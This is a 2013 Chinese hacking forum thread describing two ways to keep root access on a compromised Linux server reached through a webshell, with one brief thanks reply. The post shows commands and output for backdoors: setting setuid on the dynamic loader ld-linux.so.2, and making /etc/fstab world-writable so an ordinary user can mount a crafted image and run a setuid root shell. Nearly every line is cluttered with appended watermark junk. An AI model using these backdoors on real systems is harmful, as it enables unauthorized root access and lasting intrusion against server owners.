找回密码
 立即注册
查看: 4016|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究- O" U2 H+ _! r/ z& o
7 ~% q; r. u5 N1 p. \2 x: z; m
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
2 u$ {' r2 ^+ G; ]( w% i. O' Zlrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
3 x2 }4 ?0 G# Llrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
4 S! j& Y: {  v% c0 v[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
4 l8 `! j# {6 F. r4 ^$ x& A[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究$ B6 |* R# w& |; H. r" E. x$ u
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究/ d4 ^, z7 P9 e+ j8 Y% ^/ E9 v
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
. j1 v* F, L  `6 M+ I+ j% U3 a  V[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究' v' Z6 E+ C! ~4 _4 F& q
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究) l/ H, w' Z% m4 Y5 S, N' j+ a

6 J; {4 u! r7 J  D" s9 S$ \$ [普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
" v! v5 {7 K* K& ?7 d) X5 Y  j# t) T5 d8 V7 X2 {- M0 p
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究0 `6 S+ u4 `; ~4 g
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
4 W5 x$ f8 s- }+ F) C[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
/ G* z$ b. ^1 v& g1 y: E% p4 Troot2ezX-BUG-关注前沿信息安全技术研究% i) \3 h/ p6 t. m( T
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究. M% j: K9 e* o
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究$ d+ c, [5 y$ E! s/ h& G5 e
. M  e( Z2 H8 f! y8 }: o8 Z" e
方法二:2ezX-BUG-关注前沿信息安全技术研究- |! n# ?' ]4 J
5 i  `- h  a0 @' s% b$ _! i: {. s
看过程:2ezX-BUG-关注前沿信息安全技术研究
4 A, G. A6 V* C4 j: y- y/ m8 D6 W* b7 `4 G5 C8 g# ~$ g( n+ k3 T& ]
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
2 K% G) b& Z! k8 [& ?9 p2 i  H[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究
9 Q" i8 R, ^. B5 ^8 A- E% l' n: H6 w6 v5 O7 E! s
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
1 O0 X2 c) I0 [1 U( ]8 {+ \! d* _: m- h
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究" R- ~0 W7 C- I8 d4 W# v
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
& I6 |2 |. i$ g9 {: z9 g[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
  V- p3 M" U2 y- ^7 Z& _( L; d* U- r# _1 U
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究  d9 v( d( R2 v) x0 I

. P6 T' ]% O- H, r[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
3 v* t3 V6 ?" t" O: L) l-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究) x9 Y8 c( s6 l2 I* m
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
; W8 U* y. q5 n[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
! \5 e' j' |) t9 m[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究! r: a7 v* Y4 G& I8 J5 ~) Z$ M
total 182ezX-BUG-关注前沿信息安全技术研究8 N& h! E+ `, q: e" w1 k
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究4 b) x1 e6 o$ E+ Z) \
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
( j" s; \( H6 ?5 Y# N[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究& k! T0 P( f% z0 g: ^7 z
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究$ ], H' p2 K- _1 M; j6 l% I) ]
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
1 L1 O% T7 l1 s/ R- r7 Wtest这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究* m8 G! O) O5 y& ?& [. Y! ]
* ]6 I$ r1 y; C" [; E2 e
貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究3 z5 U- I* \4 o+ V
2ezX-BUG-关注前沿信息安全技术研究/ H( {+ e2 h' \$ M7 N

8 i% q5 v9 c; T9 ~' c$ n" F
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表